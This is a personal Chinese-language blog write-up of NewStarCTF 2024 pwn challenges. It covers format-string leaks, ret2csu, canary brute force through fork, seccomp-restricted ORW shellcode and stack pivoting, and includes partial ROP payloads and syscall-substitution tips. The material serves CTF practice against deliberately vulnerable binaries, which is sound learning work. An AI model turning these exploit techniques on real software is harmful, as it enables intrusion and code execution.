NewStarCTF 2024
NewStarCTF 2024
1 | https://match.ichunqiu.com/index?k=AzZXZ11uAmJQOAAxB3Zcfld1UDVScQBkBjoEMFRhDzgGM15pDTUEZQI3BmZUYlc2 |
pwn
签到
2024.10.3
nc之后满足条件就行了
Game
2024.10.3
1 | void __noreturn game() |
看着是是不难
检查一下
‘’’’’’’’’’’’’’’’’
NX和PIE都开了
说明是不能直接溢出后门了?
1 | from pwn import* |
不会有人不会数学吧
overwrite
2024.10.3
直接ida打开
1 | unsigned __int64 func() |
开始都是一个简单的绕过吧
这个read是从第五个字节开始
也很简单前面是flag吧
我猜的是
1 | llq@llq-virtual-machine:~$ checksec pwn |
全开
就绕一下吧
1 | from pwn import* |
我本以为这样应该就绕过了结果是有个限制
1 | read(0, &nbytes_4, nbytes) |
后面的nbytes是我们之前输入的
最大长度为48
所以说是什么来着???
OPW???
但是它的随机化地址是开着的哇
应该不是这个,就应该是一个简单的绕过问题
现在解决不了的是
这个有个长度的限制
1 | from pwn import* |
唉,好丢人嘞
没想到可以传一个负值。
gdb
2024.10.4
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
看着又是一道覆盖题
emm~
我是ida动调出的。
1 | from pwn import * |
easy fmt
2024.10.7
猜测一手是格式化字符串泄露libc版本基址
比较好的是
出题人给我们了libc版本
老规矩
日常检查一下
1 | bbq@ubuntu:~/桌面/啊布拉布拉$ checksec pwn |
canary是开着的
所以说是要泄露一下canary地址
然后puts函数泄露libc版本基址
先找一下偏移吧
1 | you know it's easy fmt |
偏移为8
canary也一眼就看见了
在rbp上面8字节
1 | gdb pwn |
可以看见
1 | 0xdd28-0xdcf0=0x38 |
所以说加起来的偏移为7+8=15
1 | from pwn import * |
本来以为是正常的泄露libc基址
1 | from pwn import* |
结果没有rdi的地址
so
got表改写地址
1 | from pwn import * |
傻逼
整了两天
1 | from pwn import * |
ez_game
日常检查
1 | bbq@ubuntu:~/桌面/啊布拉布拉$ checksec 1111 |
看一下主函数
1 | int func() |
最基本的libc版本泄露
1 | #64位 |
My_GBC!!!!!
日常检查
1 | llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec 1111 |
got表可改,NX,还多了几个
ok
看一下主函数
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
怎么说呢
1 | __int64 __fastcall encrypt(__int64 a1, char key, int a3) |
加密函数也看了,首先异或了一个密钥key(key=3),然后 循环左移3位
但是感觉没啥大用啊
write函数泄露libc基址?????
简单看一下吧
1 | #64位 |
怎么说呢
这里有个payload的加密
先进行异或90在循环左移3就行了
我们传的时候也是很简单的先右移3在异或90就行了
但是就是
这个payload的形式我没太懂
1 | payload = (b'a' * (0x10 + 8) + p64 (0x4013b3) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(8) + p64(write_plt) + p64(main_addr)) |
1 | payload=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61'+b'\xb3\x13@\x00\x00\x00\x00\x00'+b'\x01\x00\x00\x00\x00\x00\x00\x00'+b'\xb1\x13@\x00\x00\x00\x00\x00'+b'\x18@@\x00\x00\x00\x00\x00'+b'\x08\x00\x00\x00\x00\x00\x00\x00'+b'd\x10@\x00\x00\x00\x00\x00'+b'L\x12@\x00\x00\x00\x00\x00' |
1 | #64位 |
2024.10.16
问了一个师傅
是ret2csu
1 | from pwn import* |
Inverted World
日常检查
1 | llq@llq-virtual-machine:~/阿巴拉巴拉/2$ checksec pwn |
NX和canary开着的,got表可写
canary是开着的
所以说正常的溢出肯定不行
有后门说是
啥意思,把栈反转180???
动调一手确实是反着增加的
填完栈那还能直接溢出到返回地址吗?
试一手吧
1 | from pwn import* |
2024.10.16
问了一个师傅
1 | from pwn import* |
真狗啊!!
官方的wp
1 | from pwn import* |
Bad Asm
2024.10.11
有个mmap函数
看着没啥思路,先放着
ok,2024.10.23
过来复现一手
简单看一下主函数
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
程序过滤了syscall/sysenter/int 0x80
的汇编指令的机器码
strcpy
限制了 shellcode 的机器码中不能出现 0x00
这里只能说看看好了
1 | # sudo sysctl -w kernel.randomize_va_space=0 |
不思議なscanf
日常检查
1 | llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec pwn |
ok,这就是二刺螈吗??
NX和canary都是开着的
感觉应该不是打溢出题??
直接溢出??
1 | from pwn import * |
事实证明确实不是溢出题
难道是got表的覆写??
但是有偏移这一说吗???
1 | from pwn import * |
这里用gdb调试了一下
确实是可以溢出覆盖返回地址的
但是注意的是只能输入整数
怎么修改返回地址呢??这里用4198971(0x00000000040123B)写进返回地址,因为调试发现它一次只修改4字节。先修改低32位,在修改高32位。我们这里只用了三字节,其余用0代替。
但是这里可以看见是存在canary的。所以我们需要注意的是怎么利用scanf绕过canry
找了一篇文章以PWN视角看待C函数——scanf_pwn scanf-CSDN博客
小小尝试了一手感觉是可以的
1 | from pwn import * |
EZcanary
2024.10.21
日常检查
1 | bbq@ubuntu:~/桌面/啊布拉布拉$ checksec ezcanary |
正如它的名字一样NX是开着的
猜测是一个canary的绕过
应该挺难
1 | v5 = __readfsqword(0x28u); |
点进去看见了几个read。函数栏看见了后门,应该是一个溢出题,但是是要绕过canary
看一下canary的位置,很经典的rbp-8的位置
没什么思路去泄露canary
emm~猜测是read函数去泄露吧
第一个read进行泄露
第二read进行strcmp函数的绕过,
最后一个函数进行read函数的溢出????
ok,问了一手师傅,
爆破canary
借鉴题目-2023-国赛-pwn-funcanary
怎么说呢,爆破canary提示点在这个fork函数
C语言中的fork()函数用于创建一个新的进程,该进程是原始进程(父进程)的一个副本。这个副本将从fork()函数之后的代码行开始执行,父进程和子进程在此处分别继续执行不同的代码。
fork()函数的返回值有以下三种可能情况:
如果返回-1,表示创建新进程失败。
如果返回0,表示当前进程是子进程。
如果返回一个正整数,表示当前进程是父进程,返回的整数是子进程的进程ID。
1 | from pwn import * |
1 | from pwn import * |
One Last B1te
2024.10.22
日常检查
1 | llq@llq-virtual-machine:~$ checksec pwn |
丢进ida里面发现
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
看着像ORW,因为也是看见那个沙箱了
ORW
1 | __int64 sandbox() |
前几天才打的强网拟态杯
但是查了一下寄存器,发现没有相应的寄存器地址
难道说????
我看了一下别的题ReRead,那个才是ORW。
我只能说🙌🙌🙌🙌🙌
先放着
!!
2024.10.23
官方wp发了
就准备复现一手
查一下过滤
1 | seccomp-tools dump ./pwn |
菜逼只会chatgpt
猜测还是ORW
有一次任意地址写的机会。
程序在新版 Ubuntu 24 下编译,优化掉了 CSU,此时我们很难利用 ELF 的 gadget 来 ROP.
我们想办法泄露 libc 地址或者 ld 地址然后利用 libc/ld 中的 gadget 来 ROP,执行 open + read + write 来输出 flag 文件内容。
程序中只有
write
函数可以进行输出,我们可以利用一个字节任意地址写的机会,把close
函数的 GOT 表的数值改为write
函数的 PLT 表的地址(因为存在延迟绑定,close
在第一次调用之前指向的是 PLT 中的表项,我们很容易利用修改最低一个字节的方法来使其指向write
函数的 PLT 表)。之后由于
close(1)
设置第一个参数为 1,同时read(0, v5, 0x110uLL);
会残留第 2、3 个参数,我们修改close
的 GOT 表之后相当于执行write(1,v5,0x110uLL);
,就可以泄露栈上的内容,正好能泄露 libc 地址,之后利用栈溢出再次启动main
函数栈溢出 ROP 即可。由于 glibc 2.39 版本不容易控制 rdx 寄存器,我们可以使用
pop rax
+xchg eax, edx
的方法来设置 rdx 寄存器的数值。
1 | # sudo sysctl -w kernel.randomize_va_space=0 |
先放着 One Last B1te | WriteUp - NewStar CTF 2024 (openctf.net)
EZ_shellcode
2024.10.23
回来复现是一首
像这种传shellcode的题,确实是一点不会嘞!!
1 | llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec pwn |
每次都是看一下保护机制就完事了
我是真废啊
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
其实点进去的时候,第一眼看见就不知道要考什么??
fgets函数:
1 char *fgets(char *str, int num, FILE *stream);参数说明:
str:指向一个字符数组的指针,用来接收从文件流中读取的字符串。
num:指定最多读取的字符数,包括最后的空字符(’\0’)。
stream:指向 FILE 对象的指针,该 FILE 对象标识了要从中读取数据的文件流。
返回值:如果成功读取数据,fgets 返回 str 指针。
如果发生错误或立即遇到文件结束符(EOF),返回 NULL。
看一下沙箱
查看沙箱过滤规则
1 | seccomp-tools dump ./pwn |
1 | llq@llq-virtual-machine:~/阿巴拉巴拉$ seccomp-tools dump ./pwn |
这里我直接是问的chatgpt进行解释的
禁用execve函数和execveat函数,open函数。read函数
提示用ORW函数进行解题。
知识点:当禁用open、read、write函数时,可以用哪些函数替代
- 对于open函数,选择opennat或者openat2函数
- 对于read函数,选择readv、preadv、preadv2、pread64或者mmap函数
- 对于write函数,选择writev、sendfile函数(且能省略read)
放个门:seccomp学习 (2)_seccomp绕过-CSDN博客
并且是要shellcraft函数需要恢复rsp寄存器。
套一手师傅的版子
1 | from pwn import* |
解释一下shellcode
OK的
ReRead
2024.10.22
日常检查
1 | llq@llq-virtual-machine:~$ checksec pwn |
前两天做的强网拟态,想着直接可以套版子
我靠,看了半天发现
1 | read(0, buf, 0x50uLL); |
最大长度为0x50,但是我们发现栈空间加rbp都有0x48了,肯定是不够的。
SO
ORW+栈迁移
栈迁移核心指令
1 | leave ; mov esp ebp |
查找leave,ret指令
1 ROPgadget --binary ./pwn --only 'ret|leave'
1 | from pwn import* |
1 | from pwn import * |
2024.10.30
来复现一下
官方的wp也是发了Reread | WriteUp - NewStar CTF 2024 (openctf.net)
跟上面自己的思路差不多
踩坑点
首先沙箱过滤的规则没有审清楚
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 seccomp-tools dump ./pwn
////////////////////////////
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0011
0006: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0011
0007: 0x15 0x03 0x00 0x00000021 if (A == dup2) goto 0011
0008: 0x20 0x00 0x00 0x00000010 A = args[0]
0009: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW规定了一下架构,还可以看到除了只允许 open、read、write、dup2 四个系统调用外,还增添了一个额外条件,那就是执行
read
系统调用时,第一个参数必须是0
整体思路都差不多
其次就是栈迁移的时候出现的问题多了
迁移到bss段上的时候,地址问题出了大问题,简单举例
1
2
3
4
5 payload=b'a'*(0x40)+p64(elf.bss(0x500))+p64(Rread)
s(payload)
payload1=(p64(rdi_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x000000000401394)).ljust(0x40,b'\x00')
payload1+= p64(elf.bss(0x4b8)) + p64(lea_ret)
s(payload1)
1 | from pwn import* |
sign in
这题也是直接复现来了
当开始看的时候以为是啥玩意来着
直接贴exp了。
有时间回来研究一下
1 | #!/usr/bin/env python3 |
第四第五周的都没怎么做。
准备就先这样了